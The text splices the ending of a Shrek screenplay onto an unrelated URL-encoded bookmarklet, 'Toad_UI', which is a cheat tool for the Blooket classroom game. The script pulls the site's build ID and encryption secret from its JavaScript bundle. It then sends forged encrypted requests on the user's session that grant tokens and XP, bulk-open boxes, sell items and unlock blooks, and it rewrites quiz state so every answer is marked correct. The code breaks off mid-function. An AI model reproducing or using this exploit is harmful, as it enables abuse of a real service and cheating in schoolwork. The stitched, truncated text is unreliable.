Lord Farquaad tomorrow before the sun sets and he sees me like this. (begins to cry) DONKEY All right, all right. Calm down. Look, it's not that bad. You're not that ugly. Well, I ain't gonna lie. You are ugly. But you only look like this at night. Shrek's ugly 24-7. FIONA But Donkey, I'm a princess, and this is not how a princess is meant to look. DONKEY Princess, how 'bout if you don't marry Farquaad? FIONA I have to. Only my true love's kiss can break the spell. DONKEY But, you know, um, you're kind of an orge, and Shrek - - well, you got a lot in common. FIONA Shrek? OUTSIDE Shrek is walking towards the windmill with a sunflower in his hand. SHREK (to himself) Princess, I - - Uh, how's it going, first of all? Good? Um, good for me too. I'm okay. I saw this flower and thought of you because it's pretty and - - well, I don't really like it, but I thought you might like it 'cause you're pretty. But I like you anyway. I'd - - uh, uh...(sighs) I'm in trouble. Okay, here we go. He walks up to the door and pauses outside when he hears Donkey and Fiona talking. FIONA (os) I can't just marry whoever I want. Take a good look at me, Donkey. I mean, really, who can ever love a beast so hideous and ugly? "Princess" and "ugly" don't go together. That's why I can't stay here with Shrek. Shrek steps back in shock. FIONA (os) My only chance to live happily ever after is to marry my true love. Shrek heaves a deep sigh. He throws the flower down and walks away. INSIDE FIONA Don't you see, Donkey? That's just how it has to be. It's the only way to break the spell. DONKEY You at least gotta tell Shrek the truth. FIONA No! You can't breathe a word. No one must ever know. DONKEY What's the point of being able to talk if you gotta keep secrets? FIONA Promise you won't tell. Promise! DONKEY All right, all right. I won't tell him. But you should. (goes outside) I just know before this is over, I'm gonna need a whole lot of serious therapy. Look at my eye twitchin'. Fiona comes out the door and watches him walk away. She looks down and spots the sunflower. She picks it up before going back inside the windmill. MORNING Donkey is asleep. Shrek is nowhere to be seen. Fiona is still awake. She is plucking petals from the sunflower. FIONA I tell him, I tell him not. I tell him, I tell him not. I tell him. (she quickly runs to the door and goes outside) Shrek! Shrek, there's something I want...(she looks and sees the rising sun, and as the sun crests the sky she turns back into a human.) Just as she looks back at the sun she sees Shrek stomping towards her. FIONA Shrek. Are you all right? SHREK Perfect! Never been better. FIONA I - - I don't - - There's something I have to tell you. SHREK You don't have to tell me anything, Princess. I heard enough last night. FIONA You heard what I said? SHREK Every word. FIONA I thought you'd understand. SHREK Oh, I understand. Like you said, "Who could love a hideous, ugly beast?" FIONA But I thought that wouldn't matter to you. SHREK Yeah? Well, it does. (Fiona looks at him in shock. He looks past her and spots a group approaching.) Ah, right on time. Princess, I've brought you a little something. Farquaad has arrived with a group of his men. He looks very regal sitting up on his horse. You would never guess that he's only like 3 feet tall. Donkey wakes up with a yawn as the soldiers march by. DONKEY What'd I miss? What'd I miss? (spots the soldiers) (muffled) Who said that? Couldn't have been the donkey. FARQUAAD Princess Fiona. SHREK As promised. Now hand it over. FARQUAAD Very well, ogre. (holds out a piece of paper) The deed to your swamp, cleared out, as agreed. Take it and go before I change my mind. (Shrek takes the paper) Forgive me, Princess, for startling you, but you startled me, for I have never seen such a radiant beauty before. I'm Lord Farquaad. FIONA Lord Farquaad? Oh, no, no. (Farquaad snaps his fingers) Forgive me, my lord, for I was just saying a short... (Watches as Farquaad is lifted off his horse and set down in front of her. He comes to her waist.) farewell. FARQUAAD Oh, that is so sweet. You don't have to waste good manners on the ogre. It's not like it has feelings. FIONA No, you're right. It doesn't. Donkey watches this exchange with a curious look on his face. FARQUAAD Princess Fiona, beautiful, fair, flawless Fiona. I ask your hand in marriage. Will you be the perfect bride for the perfect groom? FIONA Lord Farquaad, I accept. Nothing would make - - FARQUAAD (interrupting) Excellent! I'll start the plans, for tomorrow we wed! FIONA No! I mean, uh, why wait? Let's get married today before the sun sets. FARQUAAD Oh, anxious, are you? You're right. The sooner, the better. There's so much to do! There's the caterer, the cake, the band, the guest list. Captain, round up some guests! (a guard puts Fiona on the back of his horse) FIONA Fare-thee-well, ogre. Farquaad's whole party begins to head back to DuLoc. Donkey watches them go. DONKEY Shrek, what are you doing? You're letting her get away. SHREK Yeah? So what? DONKEY Shrek, there's something about her you don't know. Look, I talked to her last night, She's - - SHREK I know you talked to her last night. You're great pals, aren't ya? Now, if you two are such good friends, why don't you follow her home? DONKEY Shrek, I - - I wanna go with you. SHREK I told you, didn't I? You're not coming home with me. I live alone! My swamp! Me! Nobody else! Understand? Nobody! Especially useless, pathetic, annoying, talking donkeys! DONKEY But I thought - - SHREK Yeah. You know what? You thought wrong! (stomps off) DONKEY Shrek. Montage of different scenes. Shrek arriving back home. Fiona being fitted for the wedding dress. Donkey at a stream running into the dragon. Shrek cleaning up his house. Fiona eating dinner alone. Shrek eating dinner alone. SHREK'S HOME Shrek is eating dinner when he hears a sound outside. He goes outside to investigate. SHREK Donkey? (Donkey ignores him and continues with what he's doing.) What are you doing? DONKEY I would think, of all people, you would recognize a wall when you see one. SHREK Well, yeah. But the wall's supposed to go around my swamp, not through it. DONKEY It is around your half. See that's your half, and this is my half. SHREK Oh! Your half. Hmm. DONKEY Yes, my half. I helped rescue the princess. I did half the work. I get half the booty. Now hand me that big old rock, the one that looks like your head. SHREK Back off! DONKEY No, you back off. SHREK This is my swamp! DONKEY Our swamp. SHREK (grabs the tree branch Donkey is working with) Let go, Donkey! DONKEY You let go. SHREK Stubborn jackass! DONKEY Smelly ogre. SHREK Fine! (drops the tree branch and walks away) DONKEY Hey, hey, come back here. I'm not through with you yet. SHREK Well, I'm through with you. DONKEY Uh-uh. You know, with you it's always, "Me, me, me!" Well, guess what! Now it's my turn! So you just shut up and pay attention! You are mean to me. You insult me and you don't appreciate anything that I do! You're always pushing me around or pushing me away. SHREK Oh, yeah? Well, if I treated you so bad, how come you came back? DONKEY Because that's what friends do! They forgive each other! SHREK Oh, yeah. You're right, Donkey. I forgive you... for stabbin' me in the back! (goes into the outhouse and slams the door) DONKEY Ohh! You're so wrapped up in layers, onion boy, you're afraid of your own feelings. SHREK (os) Go away! DONKEY There you are , doing it again just like you did to Fiona. All she ever do was like you, maybe even love you. SHREK (os) Love me? She said I was ugly, a hideous creature. I heard the two of you talking. DONKEY She wasn't talkin' about you. She was talkin' about, uh, somebody else. SHREK (opens the door and comes out) She wasn't talking about me? Well, then who was she talking about? DONKEY Uh-uh, no way. I ain't saying anything. You don't wanna listen to me. Right? Right? SHREK Donkey! DONKEY No! SHREK Okay, look. I'm sorry, all right? (sigh) I'm sorry. I guess I am just a big, stupid, ugly ogre. Can you forgive me? DONKEY Hey, that's what friends are for, right? SHREK Right. Friends? DONKEY Friends. SHREK So, um, what did Fiona say about me? DONKEY What are you asking me for? Why don't you just go ask her? SHREK The wedding! We'll never make it in time. DONKEY Ha-ha-ha! Never fear, for where, there's a will, there's a way and I have a way. (whistles) Suddenly the dragon arrives overhead and flies low enough so they can climb on. SHREK Donkey? DONKEY I guess it's just my animal magnetism. They both laugh. SHREK Aw, come here, you. (gives Donkey a noogie) DONKEY All right, all right. Don't get all slobbery. No one likes a kiss ass. All right, hop on and hold on tight. I haven't had a chance to install the seat belts yet. They climb aboard the dragon and she takes off for DuLoc. DULOC - CHURCH Fiona and Farquaad are getting married. The whole town is there. The prompter card guy holds up a card that says 'Revered Silence'. PRIEST People of DuLoc, we gather here today to bear witness to the union.... FIONA (eyeing the setting sun) Um- PRIEST ...of our new king... FIONA Excuse me. Could we just skip ahead to the "I do's"? FARQUAAD (chuckles and then motions to the priest to indulge Fiona) Go on. COURTYARD Some guards are milling around. Suddenly the dragon lands with a boom. The guards all take off running. DONKEY (to Dragon) Go ahead, HAVE SOME FUN. If we need you, I'll whistle. How about that? (she nods and goes after the guards) Shrek, wait, wait! Wait a minute! You wanna do this right, don't you? SHREK (at the Church door) What are you talking about? DONKEY There's a line you gotta wait for. The preacher's gonna say, "Speak now or forever hold your peace." That's when you say, "I object!" SHREK I don't have time for this! DONKEY Hey, wait. What are you doing? Listen to me! Look, you love this woman, don't you? SHREK Yes. DONKEY You wanna hold her? SHREK Yes. DONKEY Please her? SHREK Yes! DONKEY (singing James Brown style) Then you got to, got to try a little tenderness. (normal) The chicks love that romantic crap! SHREK All right! Cut it out. When does this guy say the line? DONKEY We gotta check it out. INSIDE CHURCH As the priest talks we see Donkey's shadow through one of the windows Shrek tosses him up so he can see. PRIEST And so, by the power vested in me... Outside SHREK What do you see? DONKEY The whole town's in there. Inside PRIEST I now pronounce you husband and wife... Outside DONKEY They're at the altar. Inside PRIEST ...king and queen. Outside DONKEY Mother Fletcher! He already said it. SHREK Oh, for the love of Pete! He runs inside without catching Donkey, who hits the ground hard. INSIDE CHURCH SHREK (running toward the alter) I object! FIONA Shrek? The whole congregation gasps as they see Shrek. FARQUAAD Oh, now what does he want? SHREK (to congregation as he reaches the front of the Church) Hi, everyone. Havin' a good time, are ya? I love DuLoc, first of all. Very clean. FIONA What are you doing here? SHREK Really, it's rude enough being alive when no one wants you, but showing up uninvited to a wedding... SHREK Fiona! I need to talk to you. FIONA Oh, now you wanna talk? It's a little late for that, so if you'll excuse me - - SHREK But you can't marry him. FIONA And why not? SHREK Because- - Because he's just marring you so he can be king. FARQUAAD Outrageous! Fiona, don't listen to him. SHREK He's not your true love. FIONA And what do you know about true love? SHREK Well, I - - Uh - - I mean - - FARQUAAD Oh, this is precious. The ogee has fallen in love with the princess! Oh, good Lord. (laughs) The prompter card guy holds up a card that says 'Laugh'. The whole congregation laughs. FARQUAAD An ogre and a princess! FIONA Shrek, is this true? FARQUAAD Who cares? It's preposterous! Fiona, my love, we're but a kiss away from our "happily ever after." Now kiss me! (puckers his lips and leans toward her, but she pulls back.) FIONA (looking at the setting sun) "By night one way, by day another." (to Shrek) I wanted to show you before. She backs up and as the sun sets she changes into her ogre self. She gives Shrek a sheepish smile. SHREK Well, uh, that explains a lot. (Fiona smiles) FARQUAAD Ugh! It's disgusting! Guards! Guards! I order you to get that out of my sight now! Get them! Get them both! The guards run in and separate Fiona and Shrek. Shrek fights them. SHREK No, no! FIONA Shrek! FARQUAAD This hocus-pocus alters nothing. This marriage is binding, and that makes me king! See? See? FIONA No, let go of me! Shrek! SHREK No! FARQUAAD Don't just stand there, you morons. SHREK Get out of my way! Fiona! Arrgh! FARQUAAD I'll make you regret the day we met. I'll see you drawn and quartered! You'll beg for death to save you! FIONA No, Shrek! FARQUAAD (hold a dagger to Fiona's throat) And as for you, my wife... SHREK Fiona! FARQUAAD I'll have you locked back in that tower for the rest of your days! I'm king! Shrek manages to get a hand free and he whistles. FARQUAAD I will have order! I will have perfection! I will have - - (Donkey and the dragon show up and the dragon leans down and eats Farquaad) Aaaah! Aah! DONKEY All right. Nobody move. I got a dragon here, and I'm not afraid to use it. (The dragon roars.) I'm a donkey on the edge! The dragon belches and Farquaad's crown flies out of her mouth and falls to the ground. DONKEY Celebrity marriages. They never last, do they? The congregation cheers. DONKEY Go ahead, Shrek. SHREK Uh, Fiona? FIONA Yes, Shrek? SHREK I - - I love you. FIONA Really? SHREK Really, really. FIONA (smiles) I love you too. Shrek and Fiona kiss. Thelonius takes one of the cards and writes 'Awwww' on the back and then shows it to the congregation. CONGREGATION Aawww! Suddenly the magic of the spell pulls Fiona away. She's lifted up into the air and she hovers there while the magic works around her. WHISPERS "Until you find true love's first kiss and then take love's true form. Take love's true form. Take love's true form." Suddenly Fiona's eyes open wide. She's consumed by the spell and then is slowly lowered to the ground. SHREK (going over to her) Fiona? Fiona. Are you all right? FIONA (standing up, she's still an ogre) Well, yes. But I don't understand. I'm supposed to be beautiful. SHREK But you ARE beautiful. They smile at each other. DONKEY (chuckles) I was hoping this would be a happy ending. Shrek and Fiona kiss...and the kiss fades into... THE SWAMP ...their wedding kiss. Shrek and Fiona are now married. 'I'm a Believer' by Smashmouth is played in the background. Shrek and Fiona break apart and run through the crowd to their awaiting carriage. Which is made of a giant onion. Fiona tosses her bouquet which both Cinderella and Snow White try to catch. But they end up getting into a cat fight and so the dragon catches the bouquet instead. The Gingerbread man has been mended somewhat and now has one leg and walks with a candy cane cane. Shrek and Fiona walk off as the rest of the guests party and Donkey takes over singing the song. GINGERBREAD MAN God bless us, every one. DONKEY (as he's done singing and we fade to black) Oh, that's funny. Oh. Oh. I can't breathe. I can't breathe. THE END
OG-Frogger
javascript:(function()%7Bfunction start() %7B%0A loadGUI()%3B%0A addUtils()%3B%0A%7D%0A%0Afunction wait(time) %7B%0A return new Promise(resolve %3D> setTimeout(resolve%2C time))%3B%0A%7D%0A%0Avar getValues %3D () %3D> new Promise((e%2C t) %3D> %7B%0A try %7B%0A let n %3D window.webpackJsonp.map(e %3D> Object.keys(e%5B1%5D).map(t %3D> e%5B1%5D%5Bt%5D)).reduce((e%2C t) %3D> %5B...e%2C ...t%5D%2C %5B%5D).find(e %3D> %2F%5Cw%7B8%7D-%5Cw%7B4%7D-%5Cw%7B4%7D-%5Cw%7B4%7D-%5Cw%7B12%7D%2F.test(e.toString()) %26%26 %2F%5C(new TextEncoder%5C)%5C.encode%5C(%5C"(.%2B%3F)%5C"%5C)%2F.test(e.toString())).toString()%3B%0A e(%7B%0A blooketBuild%3A n.match(%2F%5Cw%7B8%7D-%5Cw%7B4%7D-%5Cw%7B4%7D-%5Cw%7B4%7D-%5Cw%7B12%7D%2F)%5B0%5D%2C%0A secret%3A n.match(%2F%5C(new TextEncoder%5C)%5C.encode%5C(%5C"(.%2B%3F)%5C"%5C)%2F)%5B1%5D%0A %7D)%0A %7D catch %7B%0A t("Could not fetch auth details")%0A %7D%0A%7D)%3B%0Avar encodeValues %3D async (e%2C t) %3D> %7B%0A let d %3D window.crypto.getRandomValues(new Uint8Array(12))%3B%0A return window.btoa(Array.from(d).map(e %3D> String.fromCharCode(e)).join("") %2B Array.from(new Uint8Array(await window.crypto.subtle.encrypt(%7B%0A name%3A "AES-GCM"%2C%0A iv%3A d%0A %7D%2C await window.crypto.subtle.importKey("raw"%2C await window.crypto.subtle.digest("SHA-256"%2C (new TextEncoder).encode(t))%2C %7B%0A name%3A "AES-GCM"%0A %7D%2C !1%2C %5B"encrypt"%5D)%2C (new TextEncoder).encode(JSON.stringify(e))))).map(e %3D> String.fromCharCode(e)).join(""))%0A%7D%3B%0A%0A%0Afunction loadGUI() %7B%0A var frame %3D document.createElement("iframe")%3B%0A frame.id %3D "blooo"%0A frame.style.display %3D "none"%3B%0A frame.style.width %3D "1px"%3B%0A frame.style.height %3D "1px"%0A document.body.appendChild(frame)%3B%0A%0A window.alert %3D frame.contentWindow.alert%3B%0A window.prompt %3D frame.contentWindow.prompt%3B%0A window.confirm %3D frame.contentWindow.confirm%3B%0A%0A%0A let element %3D document.createElement('div')%3B%0A element.innerHTML %3D %60<div id%3D"GUI"> <style>details > summary%7Bcursor%3A pointer%3B transition%3A 1s%3B list-style%3A circle%3B%7D.hack%7Bborder%3A none%3B background%3A hsl(0%2C 0%25%2C 20%25)%3B padding%3A 7px%3B margin%3A 5px%3B width%3A 70%25%3B color%3A white%3B transition%3A 0.1s%3B border-radius%3A 5px%3B cursor%3A pointer%3B%7D.hack%3Ahover%7Bbackground%3A hsl(0%2C 1%25%2C 31%25)%3B%7D<%2Fstyle> <div style%3D"cursor%3A all-scroll%3B padding-top%3A 2px%3B font-size%3A 1.5rem%3B text-align%3A center%3B">Toad_UI<button id%3D"gui-" style%3D"background%3A black%3B height%3A 45px%3B width%3A 45px%3B border%3A none%3B cursor%3A pointer%3B position%3A absolute%3B top%3A -10px%3B right%3A 90%25%3B font-size%3A 2.5rem%3B border-radius%3A 10px%3B font-family%3A Nunito%3B font-weight%3A bolder%3B padding-top%3A -10px%3B padding-right%3A -15px%3B color%3A white%3B">-<%2Fbutton> <button id%3D"guiX" style%3D"background%3A black%3B height%3A 45px%3B width%3A 45px%3B border%3A none%3B cursor%3A pointer%3B position%3A absolute%3B top%3A -10px%3B right%3A -10px%3B font-size%3A 1.5rem%3B border-radius%3A 10px%3B font-family%3A Nunito%3B font-weight%3A bolder%3B padding-top%3A 10px%3B padding-right%3A 15px%3B color%3A white%3B">X<%2Fbutton> <%2Fdiv><div style%3D"display%3A block%3B margin%3A 10px%3B min-height%3A 70px%3B"> <div id%3D"curPage">No Game Found?<%2Fdiv><div id%3D"name">Name%3A None<%2Fdiv><div>(E To Hide UI)<%2Fdiv><details open%3D""> <summary style%3D"padding%3A 10px%3B font-size%3A 1.5em%3B font-weight%3A bolder">Main Mods<%2Fsummary> <button id%3D"token" class%3D"hack">Daily 500 Tokens/XP<%2Fbutton> <button id%3D"spoof" class%3D"hack">Unlock Blooks<%2Fbutton> <button id%3D"open" class%3D"hack">Spam Open Boxes<%2Fbutton> <button id%3D"sell" class%3D"hack"> Sell Duplicates<%2Fbutton> <button id%3D"correct" class%3D"hack">All Answer Correct<%2Fbutton> <%2Fdetails><br><div id%3D"LoadedGame"> <%2Fdiv><div> Open source on <a href%3D"https%3A%2F%2F">Deez<%2Fa><%2Fdiv><%2Fdiv>%60%3B%0A element.style %3D %60width%3A 350px%3B background%3A rgb(64%2C 64%2C 64)%3B border-radius%3A 8px%3B position%3A absolute%3B text-align%3A center%3B font-family%3A Nunito%3B color%3A white%3B overflow%3A hidden%3B top%3A 5%25%3B left%3A 40%25%3B%60%3B%0A document.body.appendChild(element)%3B%0A var pos1 %3D 0%2C%0A pos2 %3D 0%2C%0A pos3 %3D 0%2C%0A pos4 %3D 0%3B%0A element.onmousedown %3D ((e %3D window.event) %3D> %7B%0A e.preventDefault()%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A document.onmouseup %3D (() %3D> %7B%0A document.onmouseup %3D null%3B%0A document.onmousemove %3D null%3B%0A %7D)%3B%0A document.onmousemove %3D ((e) %3D> %7B%0A e %3D e %7C%7C window.event%3B%0A e.preventDefault()%3B%0A pos1 %3D pos3 - e.clientX%3B%0A pos2 %3D pos4 - e.clientY%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A let top %3D (element.offsetTop - pos2) > 0 %3F (element.offsetTop - pos2) %3A 0%3B%0A let left %3D (element.offsetLeft - pos1) > 0 %3F (element.offsetLeft - pos1) %3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A%7D%0Astart()%3B%0Aasync function debuggerHelp(how) %7B%0A const response %3D await fetch(%27https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fverify-token%27%2C %7B%0A method%3A "GET"%2C%0A headers%3A %7B%0A "accept"%3A "application%2Fjson%2C text%2Fplain%2C *%2F*"%2C%0A "accept-language"%3A "en-US%2Cen%3Bq%3D0.9%2Cru%3Bq%3D0.8"%2C%0A %7D%2C%0A credentials%3A "include"%0A %7D)%3B%0A const data %3D await response.json()%3B%0A let name %3D data.name%3B%0A let role %3D data.role%3B%0A window.blooketname %3D name%3B%0A window.blooketrole %3D role%3B%0A startDebugger(name)%3B%0A%7D%0A%0Afunction addtokens(event) %7B%0A try %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers"%2C %7B%0A credentials%3A "include"%0A %7D).then(x %3D> x.json()).then(x %3D> %7B%0A getValues().then(async e %3D> %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fadd-rewards"%2C %7B%0A method%3A "put"%2C%0A credentials%3A "include"%2C%0A headers%3A %7B%0A "content-type"%3A "application%2Fjson"%2C%0A "X-Blooket-Build"%3A e.blooketBuild%0A %7D%2C%0A body%3A await encodeValues(%7B%0A name%3A x.name%2C%0A addedTokens%3A 500%2C%0A addedXp%3A 300%0A %7D%2C e.secret)%0A %7D).then(() %3D> alert(%27Added daily rewawrds!%27)).catch(() %3D> alert(%27There was an error when adding rewards!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error encoding requests!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error getting username!%27))%3B%0A window.console.clear()%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C would you like to open the debugger%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction selldupes(event) %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers"%2C %7B%0A credentials%3A "include"%0A %7D).then(x %3D> x.json()).then(x %3D> %7B%0A let blooks %3D Object.entries(x.unlocks).map(x %3D> %5Bx%5B0%5D%2C x%5B1%5D - 1%5D).filter(x %3D> x%5B1%5D > 0)%3B%0A let wait %3D ms %3D> new Promise(r %3D> setTimeout(r%2C ms))%3B%0A getValues().then(async e %3D> %7B%0A let error %3D false%3B%0A alert(%27Selling duplicate blooks%2C please wait%27)%3B%0A for (let %5Bblook%2C numSold%5D of blooks) %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fsellblook"%2C %7B%0A method%3A "put"%2C%0A credentials%3A "include"%2C%0A headers%3A %7B%0A "content-type"%3A "application%2Fjson"%2C%0A "X-Blooket-Build"%3A e.blooketBuild%0A %7D%2C%0A body%3A await encodeValues(%7B%0A name%3A x.name%2C%0A blook%2C%0A numSold%0A %7D%2C e.secret)%0A %7D).catch(() %3D> %7B%0A error %3D true%0A %7D)%3B%0A await wait(750)%3B%0A if (error) break%3B%0A %7D%0A alert(%60Results%3A%5Cn%60 %2B blooks.map((x) %3D> %60 %24%7Bx%5B1%5D%7D %24%7Bx%5B0%5D%7D%60).join(%60%5Cn%60))%3B%0A %7D).catch(() %3D> alert(%27There was an error encoding requests!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error getting user data!%27))%3B%0A%7D%0A%0Afunction spoofblooks(event) %7B%0A try %7B%0A if (window.location.pathname %3D%3D "%2Fplay%2Flobby") %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%3B%0A hack.stateNode.setState(%7B%0A takenBlooks%3A %5B%5D%2C%0A lockedBlooks%3A %5B%5D%0A %7D)%0A %7D else %7B%0A window.alert("Run this in a lobby (https%3A%2F%2Fblooket.com%2Fplay%2Flobby%2F)")%0A %7D%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C would you like to open the debugger%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction openboxes(event) %7B%0A try %7B%0A (async function() %7B%0A let box %3D prompt(%27Which box do you want to open%3F (e.g. Space)%27)%3B%0A let boxes %3D %7B%0A safari%3A 25%2C%0A aquatic%3A 20%2C%0A bot%3A 20%2C%0A space%3A 20%2C%0A breakfast%3A 15%2C%0A medieval%3A 15%2C%0A wonderland%3A 15%2C%0A dino%3A 25%0A %7D%3B%0A if (!Object.keys(boxes).includes(box.toLowerCase())) %7B%0A return alert(%27I could not find that box!%27)%0A %7D%3B%0A let amount %3D prompt(%27How many boxes do you want to open%3F%27)%3B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers"%2C %7B%0A credentials%3A "include"%0A %7D).then(x %3D> x.json()).then(x %3D> %7B%0A if (x.tokens < boxes%5Bbox.toLowerCase()%5D * amount) amount %3D Math.floor(x.tokens %2F boxes%5Bbox.toLowerCase()%5D)%3B%0A if (!amount) return alert(%27You do not have enough tokens!%27)%3B%0A let wait %3D ms %3D> new Promise(r %3D> setTimeout(r%2C ms))%3B%0A getValues().then(async e %3D> %7B%0A let error %3D false%2C%0A blooks %3D %5B%5D%3B%0A for (let i %3D 0%3B i < amount%3B i%2B%2B) %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Funlockblook"%2C %7B%0A method%3A "put"%2C%0A credentials%3A "include"%2C%0A headers%3A %7B%0A "content-type"%3A "application%2Fjson"%2C%0A "X-Blooket-Build"%3A e.blooketBuild%0A %7D%2C%0A body%3A await encodeValues(%7B%0A name%3A x.name%2C%0A box%3A box.charAt(0).toUpperCase() %2B box.slice(1).toLowerCase()%0A %7D%2C e.secret)%0A %7D).then(async x %3D> %7B%0A let blook %3D await x.json()%3B%0A blooks.push(blook.unlockedBlook)%3B%0A alert(%60%24%7Bblook.unlockedBlook%7D (%24%7Bi %2B 1%7D%2F%24%7Bamount%7D)%60)%3B%0A %7D).catch(() %3D> %7B%0A error %3D true%0A %7D)%3B%0A await wait(100)%3B%0A if (error) break%3B%0A %7D%0A let count %3D %7B%7D%3B%0A blooks.forEach(blook %3D> %7B%0A count%5Bblook%5D %3D (count%5Bblook%5D %7C%7C 0) %2B 1%0A %7D)%3B%0A await alert(%60Results%3A%5Cn%60 %2B Object.entries(count).map((x) %3D> %60 %24%7Bx%5B1%5D%7D %24%7Bx%5B0%5D%7D%60).join(%60%5Cn%60))%3B%0A %7D).catch(() %3D> alert(%27There was an error encoding requests!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error getting username!%27))%3B%0A %7D)()%3B%0A window.console.clear()%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C sorry it didnt work try again on a different mode!%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction allcorrect(event) %7B%0A try %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%3B%0A hack.stateNode.questions %3D %5B%7B%0A "text"%3A "Toad_UI moment"%2C%0A "answers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "correctAnswers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "number"%3A 1%2C%0A "random"%3A false%2C%0A "timeLimit"%3A "999"%2C%0A "image"%3A "https%3A%2F%2Fmedia.blooket.com%2Fimage%2Fupload%2Fc_limit%2Cf_auto%2Ch_250%2Cfl_lossy%2Cq_auto%3Alow%2Fv1650444812%2Fvr9fwibbp1mm0ge8hbuz.jpg"%2C%0A "audio"%3A null%0A %7D%5D%0A hack.stateNode.freeQuestions %3D %5B%7B%0A "text"%3A "Toad_ Hacks"%2C%0A "answers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "correctAnswers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "number"%3A 1%2C%0A "random"%3A false%2C%0A "timeLimit"%3A "999"%2C%0A "image"%3A "https%3A%2F%2Fmedia.blooket.com%2Fimage%2Fupload%2Fc_limit%2Cf_auto%2Ch_250%2Cfl_lossy%2Cq_auto%3Alow%2Fv1650444812%2Fvr9fwibbp1mm0ge8hbuz.jpg"%2C%0A "audio"%3A null%0A %7D%5D%0A var z %3D document.getElementsByTagName("iframe")%0A z%5Bz.length - 1%5D.remove()%0A x.remove()%0A window.console.clear()%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C would you like to open the debugger%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction guiexit(event) %7B%0A const GUI %3D document.getElementById("GUI")%3B%0A const GUIX %3D document.getElementById("guiX")%3B%0A const IFR %3D document.getElementById("blooo")%3B%0A const tokens %3D document.getElementById("token")%3B%0A const spoof %3D document.getElementById("spoof")%3B%0A const open %3D document.getElementById("open")%3B%0A const sell %3D document.getElementById("sell")%3B%0A const correct %3D document.getElementById("correct")%3B%0A GUIX.removeEventListener(%27click%27%2C guiexit)%3B%0A tokens.removeEventListener(%27click%27%2C addtokens)%3B%0A spoof.removeEventListener(%27click%27%2C spoofblooks)%3B%0A open.removeEventListener(%27click%27%2C openboxes)%3B%0A sell.removeEventListener(%27click%27%2C selldupes)%3B%0A correct.removeEventListener(%27click%27%2C allcorrect)%3B%0A window.onkeydown %3D null%3B%0A GUI.remove()%3B%0A GUIX.remove()%3B%0A IFR.remove()%3B%0A%7D%0A%0Afunction toggleVisGUI() %7B%0A var GUI %3D document.getElementById("GUI")%3B%0A if (GUI.style.display %3D%3D "none") %7B%0A GUI.style.display %3D "block"%3B%0A %7D else %7B%0A GUI.style.display %3D "none"%3B%0A %7D%0A%7D%0A%0Awindow.addEventListener(%27keydown%27%2C function(e) %7B%0A if (e.key %3D%3D "e") %7B%0A toggleVisGUI()%3B%0A %7D%0A%7D)%3B%0A%0Afunction startDebugger(name) %7B%0A let debui %3D document.getElementById("deb")%0A if (debui !%3D null) %7B%0A window.alert("The debugger is already open.")%0A %7D else %7B%0A let element %3D document.createElement(%27div%27)%3B%0A element.innerHTML %3D %60<div id%3D"deb"> <div style%3D" padding-top%3A 2px%3B font-size%3A 1.5rem%3B text-align%3A center%3B">Debug UI<%2Fdiv><div id%3D"debname" style%3D"font-size%3A 1rem%3B">Name%3A null<%2Fdiv><div id%3D"hackstat">Hack Status%3A null<%2Fdiv><div id%3D"gameinfo">No Gamemode Found?<%2Fdiv><br><button id%3D"rundeb" style%3D"width%3A 130px%3B height%3A 30px%3B cursor%3A pointer%3B background%3A hsl(0%2C 0%25%2C 20%25)%3B border-radius%3A 22px%3B border%3A none%3B font-size%3A 1rem%3B"><b>Run Debugger<%2Fb><%2Fbutton><br><br><div style%3D"font-size%3A 0.8rem%3B">ui by <a href%3D"https%3A%2F%2F<%2Fa><%2Fdiv><%2Fdiv>%60%3B%0A element.style %3D %60width%3A 175px%3B background%3A rgb(64%2C 64%2C 64)%3B border-radius%3A 8px%3B position%3A absolute%3B text-align%3A center%3B font-family%3A Nunito%3B color%3A white%3B overflow%3A hidden%3B top%3A 5%25%3B left%3A 40%25%3B%60%3B%0A document.body.appendChild(element)%3B%0A var pos1 %3D 0%2C%0A pos2 %3D 0%2C%0A pos3 %3D 0%2C%0A pos4 %3D 0%3B%0A element.onmousedown %3D ((e %3D window.event) %3D> %7B%0A e.preventDefault()%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A document.onmouseup %3D (() %3D> %7B%0A document.onmouseup %3D null%3B%0A document.onmousemove %3D null%3B%0A %7D)%3B%0A 